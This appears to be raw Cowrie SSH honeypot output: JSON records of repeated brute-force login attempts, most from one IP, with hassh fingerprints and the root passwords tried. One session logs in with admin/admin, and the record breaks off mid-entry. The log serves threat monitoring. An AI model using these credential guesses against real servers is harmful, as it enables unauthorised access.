{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51492,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a14a596df5","protocol":"ssh","message":"New connection: 60.165.124.241:51492 (10.17.0.5:22) [session: 92a14a596df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:19.540470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:19.545694Z","src_ip":"60.165.124.241","session":"92a14a596df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:19.793603Z","src_ip":"60.165.124.241","session":"92a14a596df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome.1","message":"login attempt [root/Welcome.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:20.540928Z","src_ip":"60.165.124.241","session":"92a14a596df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:21.795039Z","src_ip":"60.165.124.241","session":"92a14a596df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54454,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c84d705f81","protocol":"ssh","message":"New connection: 60.165.124.241:54454 (10.17.0.5:22) [session: 38c84d705f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:22.042063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:22.046763Z","src_ip":"60.165.124.241","session":"38c84d705f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:22.287349Z","src_ip":"60.165.124.241","session":"38c84d705f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456.","message":"login attempt [root/Abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:23.010515Z","src_ip":"60.165.124.241","session":"38c84d705f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:24.256326Z","src_ip":"60.165.124.241","session":"38c84d705f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57670,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5b8386b012","protocol":"ssh","message":"New connection: 60.165.124.241:57670 (10.17.0.5:22) [session: 5f5b8386b012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:24.491305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:24.495594Z","src_ip":"60.165.124.241","session":"5f5b8386b012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:24.737802Z","src_ip":"60.165.124.241","session":"5f5b8386b012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:25.461714Z","src_ip":"60.165.124.241","session":"5f5b8386b012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:26.703470Z","src_ip":"60.165.124.241","session":"5f5b8386b012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60758,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0f0a78024a","protocol":"ssh","message":"New connection: 60.165.124.241:60758 (10.17.0.5:22) [session: ec0f0a78024a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:26.938443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:26.943672Z","src_ip":"60.165.124.241","session":"ec0f0a78024a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:27.186251Z","src_ip":"60.165.124.241","session":"ec0f0a78024a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc123","message":"login attempt [root/qweasdzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:27.924260Z","src_ip":"60.165.124.241","session":"ec0f0a78024a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:29.190349Z","src_ip":"60.165.124.241","session":"ec0f0a78024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdac4e43c35d","protocol":"ssh","message":"New connection: 60.165.124.241:35850 (10.17.0.5:22) [session: fdac4e43c35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:29.451023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:29.454953Z","src_ip":"60.165.124.241","session":"fdac4e43c35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:29.713234Z","src_ip":"60.165.124.241","session":"fdac4e43c35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"916495a3@c4e778B8824fa763158be46","message":"login attempt [root/916495a3@c4e778B8824fa763158be46] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:30.472792Z","src_ip":"60.165.124.241","session":"fdac4e43c35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.2.102.66","src_port":41168,"dst_ip":"10.17.0.5","dst_port":22,"session":"167b4d45a0c8","protocol":"ssh","message":"New connection: 138.2.102.66:41168 (10.17.0.5:22) [session: 167b4d45a0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:31.392223Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:31.728349Z","src_ip":"60.165.124.241","session":"fdac4e43c35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39058,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf8c6495ffb","protocol":"ssh","message":"New connection: 60.165.124.241:39058 (10.17.0.5:22) [session: 0bf8c6495ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:31.957233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:31.964745Z","src_ip":"60.165.124.241","session":"0bf8c6495ffb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:32.121203Z","src_ip":"138.2.102.66","session":"167b4d45a0c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:32.207114Z","src_ip":"60.165.124.241","session":"0bf8c6495ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:32.618153Z","src_ip":"138.2.102.66","session":"167b4d45a0c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rydw#2025.Xrkc","message":"login attempt [root/Rydw#2025.Xrkc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:32.960605Z","src_ip":"60.165.124.241","session":"0bf8c6495ffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:34.198635Z","src_ip":"60.165.124.241","session":"0bf8c6495ffb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:34.221733Z","src_ip":"138.2.102.66","session":"167b4d45a0c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41996,"dst_ip":"10.17.0.5","dst_port":22,"session":"580d15447eb6","protocol":"ssh","message":"New connection: 60.165.124.241:41996 (10.17.0.5:22) [session: 580d15447eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:34.442005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:34.446629Z","src_ip":"60.165.124.241","session":"580d15447eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:34.603755Z","src_ip":"138.2.102.66","session":"167b4d45a0c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:34.695869Z","src_ip":"60.165.124.241","session":"580d15447eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":15642,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ba09c679ae","protocol":"ssh","message":"New connection: 130.12.180.51:15642 (10.17.0.5:22) [session: 08ba09c679ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:35.433260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:35.437948Z","src_ip":"130.12.180.51","session":"08ba09c679ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ12wsx","message":"login attempt [root/ZAQ12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:35.453274Z","src_ip":"60.165.124.241","session":"580d15447eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed